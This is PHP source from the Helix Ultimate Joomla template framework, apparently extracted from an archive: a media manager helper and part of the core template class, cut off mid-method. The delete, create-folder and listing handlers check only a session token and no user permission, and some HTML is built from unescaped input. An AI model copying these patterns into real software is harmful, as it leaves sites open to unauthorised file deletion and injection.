 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Platform;

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Component\ComponentHelper;

/**
 * Media helper class.
 *
 * @since 1.0.0
 */
class Media
{
	/**
	 * Get Folders.
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public static function getFolders()
	{
		$media = array();
		$media['status'] = false;
		$media['output'] = Text::_('JINVALID_TOKEN');

		Session::checkToken() or die(json_encode($media));

		$input 	= Factory::getApplication()->input;
		$path 	= $input->post->get('path', '/images', 'PATH');

		$images 	= Folder::files(JPATH_ROOT . $path, '.png|.jpg|.jpeg|.gif|.svg|.ico', false, true);
		$folders 	= Folder::folders(JPATH_ROOT . $path, '.', false, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', '_spmedia_thumbs'));

		$crumbs = explode('/', ltrim($path, '/'));
		$crumb_url = '';

		$breadcrumb = '<ul class="hu-media-breadcrumb">';

		foreach ($crumbs as $key => $crumb)
		{
			$crumb_url .= '/' . $crumb;

			if (count($crumbs) === ($key + 1))
			{
				$breadcrumb .= '<li class="hu-media-breadcrumb-item active" data-path="' . $crumb_url . '">' . preg_replace('/[-_]+/', ' ', $crumb) . '</li>';
			}
			else
			{
				$breadcrumb .= '<li class="hu-media-breadcrumb-item" data-path="' . $crumb_url . '"><a href="#" data-path="' . $crumb_url . '">' . preg_replace('/[-_]+/', ' ', $crumb) . '</a></li>';
			}
		}

		$breadcrumb .= '</ul>';

		$media['breadcrumbs'] = $breadcrumb;
		$media['path'] = $path;
		$files = array();

		$media['images'] = $images;
		$media['folders'] = $folders;

		$output = '<div id="hu-media-manager">';
		$output .= '<ul class="hu-media clearfix">';

		if (!empty($folders))
		{
			foreach ($folders as $folder)
			{
				$files[$folder] = array(
					'type' => 'folder',
					'folder' => $path . '/' . $folder,
					'name' => $folder
				);
			}
		}

		if (!empty($images))
		{
			foreach ($images as $image)
			{
				$image 			= str_replace('\\', '/', $image);
				$root_path 		= str_replace('\\', '/', JPATH_ROOT);
				$path 			= str_replace($root_path . '/', '', $image);

				$files[basename($path)] = array(
					'type' => 'image',
					'path' => $path,
					'name' => basename($path),
					'preview' => Uri::root() . $path
				);
			}
		}

		if (!empty($files))
		{
			ksort($files);

			foreach ($files as $key => $file)
			{
				if ($file['type'] === 'folder')
				{
					$output .= '<li class="hu-media-folder" data-path="' . $file['folder'] . '">';
					$output .= '<div class="hu-media-thumb">';
					$output .= '<svg width="160" height="160" viewBox="0 0 160 160"><g fill="none" fill-rule="evenodd"><path d="M77.955 53h50.04A3.002 3.002 0 0 1 131 56.007v58.988a4.008 4.008 0 0 1-4.003 4.005H39.003A4.002 4.002 0 0 1 35 114.995V45.99c0-2.206 1.79-3.99 3.997-3.99h26.002c1.666 0 3.667 1.166 4.49 2.605l3.341 5.848s1.281 2.544 5.12 2.544l.005.003z" fill="#71B9F4"></path><path d="M77.955 52h50.04A3.002 3.002 0 0 1 131 55.007v58.988a4.008 4.008 0 0 1-4.003 4.005H39.003A4.002 4.002 0 0 1 35 113.995V44.99c0-2.206 1.79-3.99 3.997-3.99h26.002c1.666 0 3.667 1.166 4.49 2.605l3.341 5.848s1.281 2.544 5.12 2.544l.005.003z" fill="#92CEFF"></path></g></svg>';
					$output .= '</div>';
					$output .= '<span class="hu-media-select"><span class="fas fa-check" aria-hidden="true"></span></span>';
					$output .= '<div class="hu-media-label">' . $file['name'] . '</div>';
					$output .= '</li>';
				}
				else
				{
					$output .= '<li class="hu-media-image" data-path="' . $file['path'] . '" data-preview="' . $file['preview'] . '">';
					$output .= '<div class="hu-media-thumb">';
					$output .= '<img src="' . $file['preview'] . '" alt="">';
					$output .= '</div>';
					$output .= '<span class="hu-media-select"><span class="fas fa-check" aria-hidden="true"></span></span>';
					$output .= '<div class="hu-media-label">' . $file['name'] . '</div>';
					$output .= '</li>';
				}
			}
		}
		else
		{
			// $output .= '<li class="hu-media-folder-empty"></li>';
		}

		$output .= '</ul>';
		$output .= '</div>';

		$media['status'] = true;
		$media['output'] = $output;

		die(json_encode($media));
	}

	public static function deleteMedia()
	{
		$output = array();
		$output['status'] = false;
		$output['message'] = Text::_('JINVALID_TOKEN');

		Session::checkToken() or die(json_encode($output));

		$input 	= Factory::getApplication()->input;
		$path 	= $input->post->get('path', '/images', 'PATH');
		$type	= $input->post->get('type', 'file', 'STRING');

		if ($type === 'file')
		{
			if (File::delete(JPATH_ROOT . '/' . $path))
			{
				$output['status'] = true;
			}
			else
			{
				$output['message'] = "Unable to delete file";
				$output['status'] = false;
			}
		}
		else
		{
			if (Folder::delete(JPATH_ROOT . '/' . $path))
			{
				$output['status'] = true;
			}
			else
			{
				$output['message'] = "Unable to delete folder";
				$output['status'] = false;
			}
		}

		die(json_encode($output));
	}

	public static function createFolder()
	{
		$output = array();
		$output['status'] = false;
		$output['message'] = Text::_('JINVALID_TOKEN');

		Session::checkToken() or die(json_encode($output));

		$input 	= Factory::getApplication()->input;
		$path 	= $input->post->get('path', '/images', 'PATH');
		$folder_name 	= $input->post->get('folder_name', '', 'STRING');

		$absolute_path = JPATH_ROOT . $path . '/' . preg_replace('/\s+/', '-', $folder_name);

		if (Folder::exists($absolute_path))
		{
			$output['message'] = "Folder is already exists.";
			$output['status'] = false;
		}
		else
		{
			if (Folder::create($absolute_path, 0755))
			{
				$output['output'] = self::getFolders();
				$output['status'] = true;
			}
			else
			{
				$output['message'] = "Unable to create folder.";
				$output['status'] = false;
			}
		}

		die(json_encode($output));
	}

	public static function uploadMedia()
	{
		$user   = Factory::getUser();
		$input 	= Factory::getApplication()->input;
		$dir 	= $input->post->get('path', '/images', 'PATH');
		$index 	= $input->post->get('index', '', 'STRING');
		$file 	= $input->files->get('file');
		$authorised = $user->authorise('core.edit', 'com_templates');

		$report = array();
		$report['status'] = false;
		$report['message'] = Text::_('JINVALID_TOKEN');
		$report['index'] = $index;

		Session::checkToken() or die(json_encode($report));

		if ($authorised !== true)
		{
			$report['status'] = false;
			$report['message'] = Text::_('JERROR_ALERTNOAUTHOR');
			echo json_encode($report);
			die();
		}

		if (!empty($file))
		{
			if ($file['error'] === UPLOAD_ERR_OK)
			{
				$error = false;
				$params 		= ComponentHelper::getParams('com_media');
				$contentLength 	= (int) $_SERVER['CONTENT_LENGTH'];

				$mediaHelper = new \JHelperMedia;
				$postMaxSize = $mediaHelper->toBytes(ini_get('post_max_size'));
				$memoryLimit = $mediaHelper->toBytes(ini_get('memory_limit'));

				// Check for the total size of post back data.
				if (($postMaxSize > 0 && $contentLength > $postMaxSize) || ($memoryLimit !== -1 && $contentLength > $memoryLimit))
				{
					$report['status'] = false;
					$report['message'] = Text::_('COM_SPPAGEBUILDER_MEDIA_MANAGER_MEDIA_TOTAL_SIZE_EXCEEDS');
					$error = true;
					echo json_encode($report);
					die();
				}

				$uploadMaxSize = $params->get('upload_maxsize', 0) * 1024 * 1024;
				$uploadMaxFileSize = $mediaHelper->toBytes(ini_get('upload_max_filesize'));

				if (($file['error'] === 1) || ($uploadMaxSize > 0 && $file['size'] > $uploadMaxSize) || ($uploadMaxFileSize > 0 && $file['size'] > $uploadMaxFileSize))
				{
					$report['status'] = false;
					$report['message'] = Text::_('COM_SPPAGEBUILDER_MEDIA_MANAGER_MEDIA_LARGE');
					$error = true;
				}

				// File formats
				$accepted_file_formats = array('jpg', 'jpeg', 'png', 'gif', 'svg', 'ico');

				// Upload if no error found
				if (!$error)
				{
					$file_ext = strtolower(File::getExt($file['name']));

					if (in_array($file_ext, $accepted_file_formats))
					{
						$name = $file['name'];
						$source_path = $file['tmp_name'];
						$folder = ltrim($dir, '/');

						// Do no override existing file
						$media_file = preg_replace('#\s+#', "-", \JFile::makeSafe(basename(strtolower($name))));
						$i = 0;

						do
						{
							$base_name  = \JFile::stripExt($media_file) . ($i ? "$i" : "");
							$ext        = \JFile::getExt($media_file);
							$media_name = $base_name . '.' . $ext;
							$i++;
							$dest       = \JPATH_ROOT . '/' . $folder . '/' . $media_name;
							$src        = $folder . '/' . $media_name;
						}
						while (file_exists($dest));

						// End Do not override
						if (File::upload($source_path, $dest, false, true))
						{
							$report['src'] = Uri::root(true) . '/' . $src;
							$report['status'] = true;
							$report['title'] = $media_name;
							$report['path'] = $src;

							$output = '<div class="hu-media-thumb">';
							$output .= '<img src="' . $report['src'] . '" alt="">';
							$output .= '</div>';
							$output .= '<span class="hu-media-select"><span class="fas fa-check" aria-hidden="true"></span></span>';
							$output .= '<div class="hu-media-label">' . $report['title'] . '</div>';

							$report['output'] = $output;
						}
						else
						{
							$report['status'] = false;
							$report['message'] = Text::_('COM_SPPAGEBUILDER_MEDIA_MANAGER_UPLOAD_FAILED');
						}
					}
					else
					{
						$report['status'] = false;
						$report['message'] = Text::_('COM_SPPAGEBUILDER_MEDIA_MANAGER_FILE_NOT_SUPPORTED');
					}
				}
			}
		}
		else
		{
			$report['status'] = false;
			$report['message'] = Text::_('File not found');
		}

		die(json_encode($report));
	}
}
PK!o�_<b�b�(helixultimate/src/Core/HelixUltimate.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

Namespace HelixUltimate\Framework\Core;

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Helper;
use HelixUltimate\Framework\System\JoomlaBridge;
use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Uri\Uri;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;
use ScssPhp\ScssPhp\Compiler;
use ScssPhp\ScssPhp\OutputStyle;

/**
 * Initiator class for viewing
 * template.
 *
 * @since	1.0.0
 */
class HelixUltimate
{
	/**
	 * Template params.
	 *
	 * @var		object		$params		The helix params.
	 * @since	1.0.0
	 */
	public $params;

	/**
	 * The document object
	 *
	 * @var		JDocument
	 * @since	1.0.0
	 */
	private $doc;

	/**
	 * Joomla! app instance.
	 *
	 * @var		CMSApplication		$app	The CMS application instance.
	 * @since	1.0.0
	 */
	public $app;

	/**
	 * Input instance
	 *
	 * @var		JInput
	 * @since	1.0.0
	 */
	public $input;

	/**
	 * Get active template.
	 *
	 * @var		object	$template
	 * @since	1.0.0
	 */
	public $template;

	/**
	 * Template folder url.
	 *
	 * @var		string
	 * @since	1.0.0
	 */
	public $template_folder_url;

	/**
	 * In positions
	 *
	 * @var		array
	 * @since	1.0.0
	 */
	private $in_positions = array();

	/**
	 * Load feature
	 *
	 * @var		array
	 * @since	1.0.0
	 */
	public $loadFeature = array();

	/**
	 * Constructor function.
	 *
	 * @since	1.0.0
	 */
	public function __construct()
	{
		$this->app      = Factory::getApplication();
		$this->input    = $this->app->input;
		$this->doc      = Factory::getDocument();

		/**
		 * Load template data from cache or database
		 * for initializing the template
		 */
		$this->template = Helper::loadTemplateData();
		$this->params   = $this->template->params;
		$this->get_template_uri();
	}

	/**
	 * Call magic method for handling custom assets
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public function __call($method, $args)
	{
		$type = '';

		if (\strpos($method, 'addCustom') !== false)
		{
			$type = \strtolower(\substr($method, 9));
		}
		else
		{
			throw new \Exception(sprintf('Method "%s" does not exists in the class "%s"', $method, __CLASS__));
		}
		
		if (!\in_array($type, ['css', 'scss', 'js']))
		{
			throw new \Exception(sprintf('Type "%s" does not found! Only allowed types are "css", "scss", and "js"', $type));
		}

		$this->addCustomAssets($type);
	}

	/**
	 * Generate body class.
	 *
	 * @param	string	$class	Body class.
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public function bodyClass($class = '')
	{
		$menu = $this->app->getMenu()->getActive();
		$menuParams = empty($menu) ? new Registry : $menu->getParams();


		$stickyHeader 	= $this->params->get('sticky_header', 0) ? ' sticky-header' : '';
		$stickyHeader 	= $this->params->get('sticky_header_sm', 0) ? $stickyHeader . ' sticky-header-md' : $stickyHeader;
		$stickyHeader 	= $this->params->get('sticky_header_xs', 0) ? $stickyHeader . ' sticky-header-sm' : $stickyHeader;

		$bodyClass       = 'site helix-ultimate hu ' . htmlspecialchars(str_replace('_', '-', $this->input->get('option', '', 'STRING')));
		$bodyClass      .= ' view-' . htmlspecialchars($this->input->get('view', '', 'STRING'));
		$bodyClass      .= ' layout-' . htmlspecialchars($this->input->get('layout', 'default', 'STRING'));
		$bodyClass      .= ' task-' . htmlspecialchars($this->input->get('task', 'none', 'STRING'));
		$bodyClass      .= ' itemid-' . (int) $this->input->get('Itemid', '', 'INT');
		$bodyClass      .= ($this->doc->language) ? ' ' . $this->doc->language : '';
		$bodyClass      .= ($this->doc->direction) ? ' ' . $this->doc->direction : '';
		$bodyClass 		.= $stickyHeader;
		$bodyClass      .= ($this->params->get('boxed_layout', 0)) ? ' layout-boxed' : ' layout-fluid';
		$bodyClass		.= ($this->params->get('blog_details_remove_container', 0)) ? ' remove-container' : "";
		$bodyClass      .= ' offcanvas-init offcanvs-position-' . $this->params->get('offcanvas_position', 'right');

		if (isset($menu) && $menu)
		{
			if ($menuParams->get('pageclass_sfx'))
			{
				$bodyClass .= ' ' . $menuParams->get('pageclass_sfx');
			}
		}

		$bodyClass .= (!empty($class)) ? ' ' . $class : '';

		return $bodyClass;
	}

	public function googleAnalytics()
	{
		$code = $this->params->get('ga_code', null);
		$method = $this->params->get('ga_tracking_method', 'gst');
		$script = '';

		if (!empty($code))
		{
			$code = preg_replace("@\s+@", '', $code);
		}

		if ($method === 'gst' && !empty($code))
		{
			$script = "
			<!-- add google analytics -->
			<!-- Global site tag (gtag.js) - Google Analytics -->
			<script async src='https://www.googletagmanager.com/gtag/js?id={$code}'></script>
			<script>
				window.dataLayer = window.dataLayer || [];
				function gtag(){dataLayer.push(arguments);}
				gtag('js', new Date());

				gtag('config', '{$code}');
			</script>
			";
		}
		elseif ($method === 'ua' && !empty($code))
		{
			$script = "
			<script>
				(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
				(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
				m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
				})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

				ga('create', '{$code}', 'auto');
				ga('send', 'pageview');
			</script>
			";
		}

		return $script;
	}

	/**
	 * Config header of the template.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function head()
	{
		$option = $this->input->get('option', '', 'STRING');
		$view 	= $this->input->get('view', '', 'STRING');
		$layout = $this->input->get('layout', 'default', 'STRING');

		HTMLHelper::_('jquery.framework');

		if (JVERSION < 4)
		{
			HTMLHelper::_('bootstrap.framework');

			if(isset($this->doc->_scripts[Uri::base(true) . '/media/jui/js/bootstrap.min.js']))
			{
				unset($this->doc->_scripts[Uri::base(true) . '/media/jui/js/bootstrap.min.js']);
			}

			if(isset($this->doc->_scripts[Uri::base(true) . '/media/jui/js/bootstrap-tooltip-extended.min.js']))
			{
				unset($this->doc->_scripts[Uri::base(true) . '/media/jui/js/bootstrap-tooltip-extended.min.js']);
			}
		}

		$webfonts = array();

		if ($this->params->get('enable_body_font'))
		{
			$webfonts['body'] = $this->params->get('body_font');
		}

		if ($this->params->get('enable_h1_font'))
		{
			$webfonts['h1'] = $this->params->get('h1_font');
		}

		if ($this->params->get('enable_h2_font'))
		{
			$webfonts['h2'] = $this->params->get('h2_font');
		}

		if ($this->params->get('enable_h3_font'))
		{
			$webfonts['h3'] = $this->params->get('h3_font');
		}

		if ($this->params->get('enable_h4_font'))
		{
			$webfonts['h4'] = $this->params->get('h4_font');
		}

		if ($this->params->get('enable_h5_font'))
		{
			$webfonts['h5'] = $this->params->get('h5_font');
		}

		if ($this->params->get('enable_h6_font'))
		{
			$webfonts['h6'] = $this->params->get('h6_font');
		}

		if ($this->params->get('enable_navigation_font'))
		{
			$webfonts['.sp-megamenu-parent > li > a, .sp-megamenu-parent > li > span, .sp-megamenu-parent .sp-dropdown li.sp-menu-item > a'] = $this->params->get('navigation_font');
		}

		if ($this->params->get('enable_custom_font') && $this->params->get('custom_font_selectors'))
		{
			$webfonts[$this->params->get('custom_font_selectors')] = $this->params->get('custom_font');
		}

		// Favicon
		if ($favicon = $this->params->get('favicon'))
		{
			$this->doc->addFavicon(Uri::base(true) . '/' . $favicon);
		}
		else
		{
			$this->doc->addFavicon($this->template_folder_url . '/images/favicon.ico');
		}

		$this->addGoogleFont($webfonts);

		$this->doc->addScriptdeclaration('template="' . $this->template->template . '";');
		$this->doc->setGenerator('Helix Ultimate - The Most Popular Joomla! Template Framework.');

		if (JoomlaBridge::getVersion('major') < 4)
		{
			echo '<jdoc:include type="head" />';
		}
		else
		{
			echo '<jdoc:include type="metas" />';
			echo '<jdoc:include type="styles" />';
			echo '<jdoc:include type="scripts" />';
		}

		$this->add_css('bootstrap.min.css');

		if ($view === 'form' && $layout === 'edit')
		{
			$this->doc->addStylesheet(Uri::root(true) . '/plugins/system/helixultimate/assets/css/frontend-edit.css');
		}

		$bsBundleJSPath = JPATH_ROOT . '/templates/' . $this->template->template . '/js/bootstrap.bundle.min.js';
		$bsJsPath = JPATH_ROOT . '/templates/' . $this->template->template . '/js/bootstrap.min.js';

		if (\file_exists($bsBundleJSPath))
		{
			$this->add_js('bootstrap.bundle.min.js');
		}
		elseif (\file_exists($bsJsPath))
		{
			$this->add_js('popper.min.js, bootstrap.min.js');
		}

		if (JVERSION >= 4)
		{
			$this->add_css('system-j4.min.css');
			$this->doc->addStylesheet(Uri::root(true) . '/plugins/system/helixultimate/assets/css/choices.css');
		}
		else
		{
			$this->add_css('system-j3.min.css');
		}
	}

	/**
	 * Add css files at header.
	 *
	 * @param	string		$css_files	Css files seperated by comma.
	 * @param	array		$options	Stylesheet options
	 * @param	array		$attribs	Tag attributes
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function add_css($css_files = '', $options = array(), $attribs = array())
	{
		$files = array(
			'resource' => $css_files,
			'options'  => $options,
			'attribs'  => $attribs
		);

		$this->put_css_js_file($files, 'css');
	}

	/**
	 * Add javascript file to head.
	 *
	 * @param	string	$js_files	Javascript files separated by comma.
	 * @param	array	$options	Script options.
	 * @param	array	$attribs	Script tag attributes.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function add_js($js_files = '', $options = array(), $attribs = array())
	{
		$files = array(
			'resource' => $js_files,
			'options'  => $options,
			'attribs'  => $attribs
		);

		$this->put_css_js_file($files, 'js');
	}

	/**
	 * Put css and js files into header.
	 *
	 * @param	array	$files		The files array containing the file paths, doc options, and tag attributes.
	 * @param	string	$folder	Type of the file to add into header. @availables are (js, css)
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function put_css_js_file($files = array(), $folder = '')
	{
		$asset_path = JPATH_THEMES . "/{$this->template->template}/{$folder}/";
		$file_list = explode(',', $files['resource']);

		foreach ($file_list as $file)
		{
			if (empty($file))
			{
				continue;
			}

			$file = trim($file);
			$file_path = $asset_path . $file;

			if (!Helper::endsWith($file_path, $folder))
			{
				$file_path .= '.' . $folder;
			}

			if (File::exists($file_path))
			{
				$file_url = Uri::base(true) . '/templates/' . $this->template->template . '/' . $folder . '/' . (Helper::endsWith($file, $folder) ? $file : $file . '.' . $folder);
			}
			elseif (File::exists($file))
			{
				$file_url = Helper::endsWith($file, $folder) ? $file : $file . '.' . $folder;
			}
			else
			{
				/** If asset not exists inside the template path then try to load from plugin's asset path. */
				$uri = '/plugins/system/helixultimate/assets/' . $folder . '/' . (Helper::endsWith($file, $folder) ? $file : $file . '.' . $folder);

				if (\file_exists(JPATH_ROOT . $uri))
				{
					$file_url = Uri::base(true) . $uri;
				}
				else
				{
					continue;
				}
			}

			if ($folder === 'js')
			{
				$this->doc->addScript($file_url, $files['options'], $files['attribs']);
			}
			else
			{
				$this->doc->addStyleSheet($file_url, $files['options'], $files['attribs']);
			}
		}
	}

	/**
	 * Load font awesome font for J3 & J4 separately.
	 *
	 * @return	void
	 * @since 	2.0.3
	 */
	public function loadFontAwesome()
	{
		if ($this->params->get('enable_fontawesome'))
		{
			if (JVERSION < 4)
			{
				$this->add_css('font-awesome.min.css');
				$this->add_css('v4-shims.min.css');
			}
			else
			{
				$this->doc->addStyleSheet(Uri::root(true) . '/media/system/css/joomla-fontawesome.min.css', ['relative' => false, 'version' => 'auto']);
			}
		}
	}

	/**
	 * Get template URI.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function get_template_uri()
	{
		$this->template_folder_url = Uri::base(true) . '/templates/' . $this->template->template;
	}

	/**
	 * Include features.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function include_features()
	{
		$folder_path = JPATH_THEMES . '/' . $this->template->template . '/features';

		if (Folder::exists($folder_path))
		{
			$files = Folder::files($folder_path, '.php');

			if (!empty($files))
			{
				foreach ($files as $key => $file)
				{
					include_once $folder_path . '/' . $file;

					$file_name = File::stripExt($file);
					$class = 'HelixUltimateFeature' . ucfirst($file_name);
					$feature_obj = new $class($this->params);
					$position = $feature_obj->position;
					$load_pos = (isset($feature_obj->load_pos) && $feature_obj->load_pos) ? $feature_obj->load_pos : '';

					$this->in_positions[] = $position;

					if (!empty($position))
					{
						$this->loadFeature[$position][$key]['feature'] = $feature_obj->renderFeature();
						$this->loadFeature[$position][$key]['load_pos'] = $load_pos;
					}
				}
			}
		}
	}

	/**
	 * Render Layout
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function render_layout()
	{
		// $this->add_css('custom.css');
		// $this->add_js('custom.js');
		$this->include_features();

		$layout = ($this->params->get('layout')) ? $this->params->get('layout') : [];

		if (!empty($layout))
		{
			$rows = json_decode($layout);
		}
		else
		{
			$layout_file = JPATH_SITE . '/templates/' . $this->template->template . '/options.json';

			if (!File::exists($layout_file))
			{
				die('Default Layout file is not exists! Please goto to template manager and create a new layout first.');
			}

			$layout_data = json_decode(file_get_contents($layout_file));
			$rows = json_decode($layout_data->layout);
		}

		$output = $this->get_recursive_layout($rows);	

		echo $output;
	}

	private function get_recursive_layout($rows = array())
	{
		if (empty($rows) || !is_array($rows))
		{
			return;
		}

		$option      = $this->app->input->getCmd('option', '');
		$view        = $this->app->input->getCmd('view', '');

		$pagebuilder = false;
		$output = '';
		$modified_row = new \stdClass;

		if ($option === 'com_sppagebuilder')
		{
			$pagebuilder = true;
		}

		$themepath      = JPATH_THEMES . '/' . $this->template->template;
		$carea_file     = $themepath . '/html/layouts/helixultimate/frontend/conponentarea.php';
		$module_file    = $themepath . '/html/layouts/helixultimate/frontend/modules.php';
		$lyt_thm_path   = $themepath . '/html/layouts/helixultimate/';

		$layout_path_carea  = (file_exists($carea_file)) ? $lyt_thm_path : JPATH_ROOT . '/plugins/system/helixultimate/layouts';
		$layout_path_module = (file_exists($module_file)) ? $lyt_thm_path : JPATH_ROOT . '/plugins/system/helixultimate/layouts';

		foreach ($rows as $key => $row)
		{
			$modified_row = $this->get_current_row($row);
			$columns = $modified_row->attr;

			if ($columns)
			{
				$componentArea = false;

				if (isset($modified_row->has_component) && $modified_row->has_component)
				{
					$componentArea = true;
				}

				$fluidrow = false;

				if (isset($modified_row->settings->fluidrow) && $modified_row->settings->fluidrow)
				{
					$fluidrow = $modified_row->settings->fluidrow;
				}

				$id = (isset($modified_row->settings->name) && $modified_row->settings->name) ? 'sp-' . \JFilterOutput::stringURLSafe($modified_row->settings->name) : 'sp-section-' . ($key + 1);
				$row_class = $this->build_row_class($modified_row->settings);
				$this->add_row_styles($modified_row->settings, $id);
				$sematic = (isset($modified_row->settings->name) && $modified_row->settings->name) ? strtolower($modified_row->settings->name) : 'section';

				

				switch ($sematic)
				{
					case "header":
						$sematic = 'header';
						break;

					case "footer":
						$sematic = 'footer';
						break;

					default:
						$sematic = 'section';
						break;
				}

				$data = array(
					'sematic' 			=> $sematic,
					'id' 				=> $id,
					'row_class' 		=> $row_class,
					'componentArea' 	=> $componentArea,
					'pagebuilder' 		=> $pagebuilder,
					'fluidrow' 			=> $fluidrow,
					'rowColumns' 		=> $columns,
					'loadFeature'       => $this->loadFeature
				);

				$layout_path  = JPATH_ROOT . '/plugins/system/helixultimate/layouts';
				$getLayout = new FileLayout('frontend.generate', $layout_path);

				/**
				 * If a section is named as `header` that means the section is for
				 * the page header or site menu header.
				 * But if the predefined_header option is enabled then
				 * render the predefined header instead of the header section.
				 */
				if ($sematic === 'header')
				{
					if (!$this->params->get('predefined_header'))
					{
						$output .= $getLayout->render($data);
					}
				}
				else
				{
					$output .= $getLayout->render($data);
				}
			}
		}

		return $output;
	}

	/**
	 * Get current row
	 *
	 * @param	\stdClass	$row	layout rows
	 *
	 * @return	\stdClass			Updated rows.
	 * @since	1.0.0
	 */
	private function get_current_row($row)
	{
		// Absence span
		$inactive_col   = 0;
		$has_component  = false;

		foreach ($row->attr as $key => &$column)
		{
			$column->settings->disable_modules = isset($column->settings->name) ? $this->disable_details_page_modules($column->settings->name) : false;

			if (!$column->settings->column_type)
			{
				if (!$this->count_modules($column->settings->name))
				{
					$inactive_col += $column->settings->grid_size;
					unset($row->attr[$key]);
				}

				if ($column->settings->disable_modules && $this->count_modules($column->settings->name))
				{
					$inactive_col += $column->settings->grid_size;
					unset($row->attr[$key]);
				}
			}
			else
			{
				$row->has_component = true;
				$has_component = true;
			}
		}

		foreach ($row->attr as &$column)
		{
			$options = $column->settings;
			$col_grid_size = $options->grid_size;
			$className = '';

			if (!$has_component)
			{
				if (end($row->attr) === $column)
				{
					$col_grid_size += $inactive_col;
				}
			}
			else
			{
				if (!empty($options->column_type))
				{
					$col_grid_size += $inactive_col;
				}
			}

			if (isset($options->lg_col) && $options->lg_col)
			{
				$className = $className . ' col-lg-' . $options->lg_col;
			}
			else
			{
				$className = 'col-lg-' . $col_grid_size;
			}

			if (isset($options->xl_col) && $options->xl_col)
			{
				$className = $className . ' col-xl-' . $options->xl_col;
			}

			if (isset($options->md_col) && $options->md_col)
			{
				$className = 'col-md-' . $options->md_col . ' ' . $className;
			}

			if (isset($options->sm_col) && $options->sm_col)
			{
				$className = 'col-sm-' . $options->sm_col . ' ' . $className;
			}

			if (isset($options->xs_col) && $options->xs_col)
			{
				$className = 'col-' . $options->xs_col . ' ' . $className;
			}

			$device_class = $this->get_device_class($options);
			$column->settings->className = $className . ' ' . $device_class;
		}

		return $row;
	}

	/**
	 * Add row styles.
	 *
	 * @param	object	$options	Row style options.
	 * @param	integer	$id			Row ID.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	private function add_row_styles($options, $id)
	{
		$row_css = '';

		if (isset($options->background_image) && $options->background_image)
		{
			$row_css .= 'background-image:url("' . Uri::base(true) . '/' . $options->background_image . '");';

			if (isset($options->background_repeat) && $options->background_repeat)
			{
				$row_css .= 'background-repeat:' . $options->background_repeat . ';';
			}

			if (isset($options->background_size) && $options->background_size)
			{
				$row_css .= 'background-size:' . $options->background_size . ';';
			}

			if (isset($options->background_attachment) && $options->background_attachment)
			{
				$row_css .= 'background-attachment:' . $options->background_attachment . ';';
			}

			if (isset($options->background_position) && $options->background_position)
			{
				$row_css .= 'background-position:' . $options->background_position . ';';
			}
		}

		if (isset($options->background_color) && $options->background_color)
		{
			$row_css .= 'background-color:' . $options->background_color . ';';
		}

		if (isset($options->color) && $options->color)
		{
			$row_css .= 'color:' . $options->color . ';';
		}

		if (isset($options->padding) && $options->padding)
		{
			$row_css .= 'padding:' . $options->padding . ';';
		}

		if (isset($options->margin) && $options->margin)
		{
			$row_css .= 'margin:' . $options->margin . ';';
		}

		if ($row_css)
		{
			$this->doc->addStyledeclaration('#' . $id . '{ ' . $row_css . ' }');
		}

		if (isset($options->link_color) && $options->link_color)
		{
			$this->doc->addStyledeclaration('#' . $id . ' a{color:' . $options->link_color . ';}');
		}

		if (isset($options->link_hover_color) && $options->link_hover_color)
		{
			$this->doc->addStyledeclaration('#' . $id . ' a:hover{color:' . $options->link_hover_color . ';}');
		}
	}

	/**
	 * Generate the class of the row.
	 *
	 * @param	object	$options	Row options.
	 *
	 * @return	string	The classes of the row.
	 * @since	1.0.0
	 */
	private function build_row_class($options)
	{
		$row_class = '';

		if (isset($options->custom_class) && $options->custom_class)
		{
			$row_class .= $options->custom_class;
		}

		$device_class = $this->get_device_class($options);

		if ($device_class)
		{
			$row_class .= ' ' . $device_class;
		}

		if ($row_class)
		{
			$row_class = 'class="' . $row_class . '"';
		}

		return $row_class;
	}

	/**
	 * Get device class for responsiveness.
	 *
	 * @param	object 	$options	Options object.
	 *
	 * @return	string	Device classes.
	 * @since	1.0.0
	 */
	private function get_device_class($options)
	{
		$device_class = '';

		if (isset($options->hide_on_phone) && $options->hide_on_phone)
		{
			$device_class = 'd-none d-sm-block';
		}

		if (isset($options->hide_on_large_phone) && $options->hide_on_large_phone)
		{
			$device_class = $this->reshape_device_class('sm', $device_class);
			$device_class .= ' d-sm-none d-md-block';
		}

		if (isset($options->hide_on_tablet) && $options->hide_on_tablet)
		{
			$device_class = $this->reshape_device_class('md', $device_class);
			$device_class .= ' d-md-none d-lg-block';
		}

		if (isset($options->hide_on_small_desktop) && $options->hide_on_small_desktop)
		{
			$device_class = $this->reshape_device_class('lg', $device_class);
